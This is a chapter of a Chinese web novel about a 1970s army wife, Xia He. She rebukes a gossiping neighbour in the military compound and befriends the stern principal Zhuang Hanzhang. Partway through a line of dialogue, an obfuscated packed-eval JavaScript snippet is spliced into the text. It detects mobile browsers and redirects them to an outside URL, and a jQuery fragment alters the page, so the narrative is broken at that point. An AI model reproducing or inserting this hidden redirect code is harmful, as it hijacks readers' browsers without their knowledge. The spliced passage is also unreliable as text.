7. 打脸长舌妇,结仇刘翠花,初识庄含章
作品:《七零军婚对照组她逆袭了》 夏禾脚步一顿,抬眼望去,前方不远处一个颧骨高耸的妇女斜着眼瞅着她。
见她视线望来,那妇女一点也不害臊,反倒上上下下打量着夏禾,嘴角一撇,嗤笑一声:“瞧你这模样,再怎么打扮也比不过人家苏老师,人家可是高中生,又有文化又有工作,哪像你,一个农村来的,还穿一身红色作俏,以为自己是新娘子呢~”
夏禾低头看了看自己身上的红色棉袄,有些莫名其妙,自己只是随手拿了一件衣服,这人有病吧?连别人穿什么衣服都要管?”
李兰芳手肘怼了怼她,低声提醒道:“她叫刘翠花,住你家右边,是陈副营长的老娘。”
夏禾微微侧头,轻声询问:“我哪里惹到她了?”
“她是咱们院里出了名的长舌妇,最爱搬弄是非,无事都要搅起三风浪。”李兰芳撇撇嘴,一脸嫌弃,“哪里还需要你得罪,她那张嘴,看谁不顺眼就能编排半天,估摸见你是新来的,又年轻脸皮薄,想欺负你呗!”
说到这儿,她同情地看了夏禾一眼:“我劝你别跟她纠缠,这种人脸皮厚着呢,越搭理越来劲。”
听她一说,夏禾心里就有底了。
那边的刘翠花见两人自顾自地嘀嘀咕咕,脸色立马就黑了下来,声音尖锐:“喂!我说你这村妇,怎么一点礼貌都没有,没听见我在和你说话啊!”
夏禾笑眯眯地回道:“是吗?我还以为你在和狗说话呢?不然什么一嘴狗言狗语呢?”
刘翠花一愣,随即面色涨红,刚想要反驳。
却被夏禾抢先一步:“不过,要是你刚刚说的是狗屁话,那我倒是能理解了。不然怎么会有人天天不干正事,专盯着人家家事嚼舌根?还管起我穿什么衣服来了!”
她故意打量了刘翠花一眼,轻笑一声:“请问你是哪位啊?非亲非故的,手伸得也太长了吧?”
刘翠花伸出手指着她,张口结舌:“你!”
“再说到我随军的事,”夏禾上前一步,一把抓住她的手指,往一旁一拽,眼神似笑非笑,嘴里却毫不留情,“我男人是营长,我是他爱人,我随军是为了孩子有爸爸管教,这法律允许组织批准的事,怎么就成了你口中的监督盯梢了呢?”
“嫂子,难不成你在质疑组织的决定,觉得批准随军的政策有问题?”
刘翠花脸色一变,下意识环顾四周。
果然,渐渐聚起来的家属们皱眉看着她。大家都是为了一家团聚才随军的,哪里容得下这样的诬蔑造谣。
她心下一慌,冲着夏禾尖叫道:“你!你胡说八道什么?我没这个意思,我就是随口说说,哪有你这样扣帽子的!”
夏禾气笑了:“你没这个意思?那你说的监督盯梢这几个字是什么意思?你给我解释解释?”
“行了!”还没等刘翠花想好说辞,一位表情严肃的中年妇女站出来。
她带着一副细边眼镜,穿着一身灰色的列宁装,身形笔挺,张嘴就是一股知识分子的口气:“刘翠花家属,这位同志的随军手续自有组织审核批准,不需要你来评判。请你以后记得谨言慎行,不要发表一些不合适的言论。”
刘翠花一见来人,气焰矮了三分,先低了头,不甘心地辩解道:“庄老师,我真不是那个意思,这不是邻居间随口说句话吗?哪有她这么较真的?照她这样,咱们以后连话都不能说了?”
说着说着,她眼睛左右游移,又习惯性往夏禾身上攀咬:“再说了,年前她自己干出的事谁不知道?我不过就是提了一嘴……”
“年前的事是年前,”庄老师打断她,“组织上已经处理过的事情,不需要你来翻旧账,况且一码归一码,今天的事是你先出言不逊。”
夏禾在一旁听着,心中对这位站出来说话的知识妇女有了几分好感。
听到她提起年前的闹剧,夏禾心思一转,不如趁现在有个说得上话的人在场,一次性反驳到底,也好扭转自己的形象。
她上前一步,不卑不亢地开口:“庄老师,谢谢您主持公道,我也想说几句话。”
接着转向刘翠花,目光坦然:“刘嫂子,我可没有不让你说话的权利,只不过我不是孬种,被别人欺负到头上来了,还忍气吞声不敢反抗。别人好好对我,我自然好好对别人,可要是有人平白无故攻击我,我也不可能装聋作哑。我可不像你,走在路上跟个疯狗似的随便咬人。”
夏禾一边说一边瞧了那位知识分子妇女一眼,见她没说话,就知道是默认了自己的反击。
她嘴角一翘,提高了声音:“我不知道你是从哪儿听的闲话谣言,今天当着大家的面,我也把话说清楚。”
“我与苏茉同志没有关系,我爱人江逢霖与苏茉同志的爱人傅邵廷营长是战友,也是好兄弟,希望你不要用肮脏的想法揣度他人的正常来往。”
“还有,”夏禾盯着刘翠花,“我生几个,生不生男孩,与你有什么关系啊?我有两个宝贝女儿已经满足了,主席都说过,妇女能顶半边天!这都新社会了,有些人脑子里还是老思想,重男轻女,看不起女孩,自己是女的还嫌弃起女的了?”
“最后,希望你不要总是想着男男女女那点事,跟个长舌妇一样,还说我是村妇,我可没有你这样的坏习惯。”
说罢,她轻蔑一笑,不再搭理她。
刘翠花气得嘴唇哆嗦,只想扑上来撕了她的嘴,却被那位中年妇女警告的眼神盯着。她不甘心地扭了扭衣襟下摆,气闷一哼,扭头转身就用力推开院门回家,只留下一道巨大的关门声。
“嘭!”
周围的家属见当事人已走了一位,也渐渐散开各回各家。
夏禾见刘翠花被气回家了,翻了个白眼。
她本想径直回家,想了想,还是牵着女儿们走到那位庄老师面前,犹豫着开口:“庄老师……”
庄老师扶了扶眼镜,伸出手来:“宋夏禾,你好,我叫庄含章。”
夏禾一愣,这还是这个年代第一个向她伸手的人,她怀着一种新奇的感受,与她握了握手:“庄老师你好,你叫我夏禾就行,感谢您刚刚为我说话。”
庄含章收回手,依旧没什么表情:“没什么,是她乱嚼口舌,本就不对。”
“夏禾,”她轻轻念着夏禾的名字,眼神一眯,露出一个微妙的表情来,“你和老秦口中说的样子,不太一样。”
夏禾一头雾水,老秦是谁?
庄含章见她疑惑的表情,眉头一挑,淡淡地解释道:“我爱人,秦政委,年前你不是到他办公室闹过一场了吗?”
!!
夏禾脸上一僵,有些尴尬,没想到把这事情闹到正主面前去了。
想起自己年前那副泼妇模样,怪不得这位庄老师看自己的眼神这么奇怪。
原来在人家心目中,刘翠花说的话也不算离谱了。
夏禾疯狂头脑风暴,这位庄老师的爱人身居高位,看她的模样也是家境优渥,况且……
刚刚兰芳姐说的偷摸做生意的领导中,这位也参了一手呢!
就算不能交个朋友,也实在不宜结仇啊。
几秒钟内打定了主意,夏禾露出一个乖巧的表情,甚至还腼腆地笑了笑:“庄老师,之前是我太冲动了,没弄清楚事情的原委就跑过来,还闹出那样的事情,实在是对不起,是我给他的工作添麻烦了。”
听到她诚恳的道歉,庄含章的脸色渐渐和缓了。
夏禾见状,趁热打铁道:“庄老师,您方便的话,能不能帮我向秦政委转达一下歉意?等我爱人回来,我们俩再一起正式向政委道个歉。”
庄含章却面色不变:“不用了,你心里明白是非对错就行,以后做事三思而后行,切忌冲动。”
说罢,她正要转身离开,余光瞥见夏禾身边依偎着的两个小女孩乖乖地站着,不吵不闹,两双乌溜溜的大眼睛好奇地望着她。
庄含章脚步一顿,又停下来,从布兜里拿出两颗大白兔奶糖,一人一颗递给书言书宜。
书言眨眨眼,抬头望了夏禾一眼。
夏禾看了看庄含章,见她眉眼间少见地露出一丝慈爱,便轻轻点头:“说谢谢庄阿姨。”
书言这才接过糖果,乖巧地道谢:“谢谢庄阿姨。”
书宜也学着姐姐,奶声奶气道谢。
庄含章面色有些软化,弯下腰揉了揉她俩的小脑袋,嘴角似乎弯了弯:“吃吧。”
她直起身,抬眼从上至下认真地打量了夏禾一遍,微微点头:“你把女儿教育得不错,很有礼貌。”
夏禾不自在地挠了挠脸颊,脸有些红:“是她们听话。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242795|197811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
惭愧!这也不是她教育的啊,她就是捡了个现成。
庄含章迟疑了一下,才开口说道:“你刚刚那句话说得不错,我们是新中国的人,有些老思想确实要摒弃,看来你并不是我想的那样,我会和老秦说明你的转变和进步的。”
夏禾一愣,想起来刚刚自己说的话,洒脱一笑:“那就谢谢庄老师了!我刚刚说的是真心话,我有书言和书宜就够了!闺女多好,贴心。”
庄含章嘴角一牵,难得露出一点笑意,又恢复一脸面无表情的严肃模样,朝夏禾说了一声再见,转身离开。
夏禾站在原地目送她离开,李兰芳凑到她身边,冲她竖起一根大拇指:“你厉害!我是真服了你了,连庄老师你都敢攀上去聊天,你不怕被冻死啊!”
她夸张地哆嗦了一下,夏禾忍俊不禁:“庄老师哪有你说的那么冷淡,她性格不是挺好的嘛,人家爱人那么大的官,一点架子都没有。”
李兰芳张大嘴巴:“她这还没架子啊?你瞧,她那张嘴,一开口就是训人的口气,虽然话说的在理吧,但是也太严肃了,把咱们当学生呢!”
夏禾无奈解释道:“你看人不能光看表面,刚才人家知道误会我了,还特意说会帮我向政委解释呢!这要不是好心,谁管你啊?人家就算不吭声,我也没办法不是?”
李兰芳想了想,赞同道:“也是,庄老师人确实不错,就是这性格,实在太冷了些。”
她忽然挤眉弄眼道:“你猜,她和服务社那吴妹子是什么关系?”
夏禾回想起吴若薇那张严肃的小脸,似乎真与庄含章有些相像,惊讶道:“她们是母女?”
“不对!”夏禾想起庄含章说自己与秦政委是夫妻,既然不跟他们姓,“那就是她父母那边的小辈?”
李兰芳一拍大腿:“你说对了!吴妹子是庄老师亲姐姐的女儿!”
她拉着夏禾往家走,左右看看没人,便把院门一关,回头偷摸摸地跟她说悄悄话:“不然你以为,就吴妹子那不近人情的性格,能在服务社安安稳稳地坐着?那工作可是香饽饽,多少人盯着呢!”
李兰芳撇撇嘴,她原先也想去争取争取,听到是庄老师安排的人就放弃了。
夏禾有些奇怪地问道:“庄老师这么厉害吗,连服务社的工作都能插手?还是说是秦政委……”
李兰芳面色有些复杂:“嗨,你以为咱们为啥叫她庄老师?她可是我们这儿部队高中的校长!正正经经的领导。况且,人家自己也有本事,她可是五五年考上去的大学生,听说要不是跟着秦政委调到咱们这儿,人家可是有更好的去处呢!”
夏禾面露惊叹:“五五年的大学生?真厉害!”
她自己在学习上毫无天分,所以对这种高材生一向都很佩服。
尤其是建国初期考上去的大学生,那含金量可比后来的高多了!
李兰芳叹了口气:“是啊,咱们可比不上人家。”
想起夏禾刚刚和她商量的事情,犹豫了一下还是说道:“夏禾,要是咱们真要做生意的话,可能还得去探探她的口风。”
夏禾点点头,心下已经有了想法,朝李兰芳点点头:“嗯,等我爱人回来,我和他商量商量。你放心,我会处理好的。”
李兰芳见她提起江逢霖时态度自然,忍不住靠过去,轻声问道:“你和那苏茉,真没啥矛盾吧?”
夏禾摊了摊手,一脸坦然:“没啥啊,你不会也听信了那刘翠花的话吧?”
李兰芳不好意思地挠挠耳朵:“没有,我就是想起之前的一些传闻,确实不太好听,但是今天跟你接触之后,我可以发誓,你绝对不是那样的人!”
夏禾叹了口气,耐心解释道:“以前我在乡下带她们俩,和他聚少离多,有些事没沟通清楚,才导致了一些误会。现在我过来了,已经跟他好好说开了,你放心,我不会像以前那样冲动了。”
李兰芳听后,眼里露出些怜惜,伸手拍了拍她的手背:“也是苦了你,小江之前一直不带你来随军,我还以为你们之间有啥矛盾呢,说开了就好,以后好好过日子,有事你就来找我,别怕啊。”
夏禾心里一暖,笑着点点头。
总算是把之前的形象稍微扭转了一些,做生意嘛,个人形象也是很重要的。

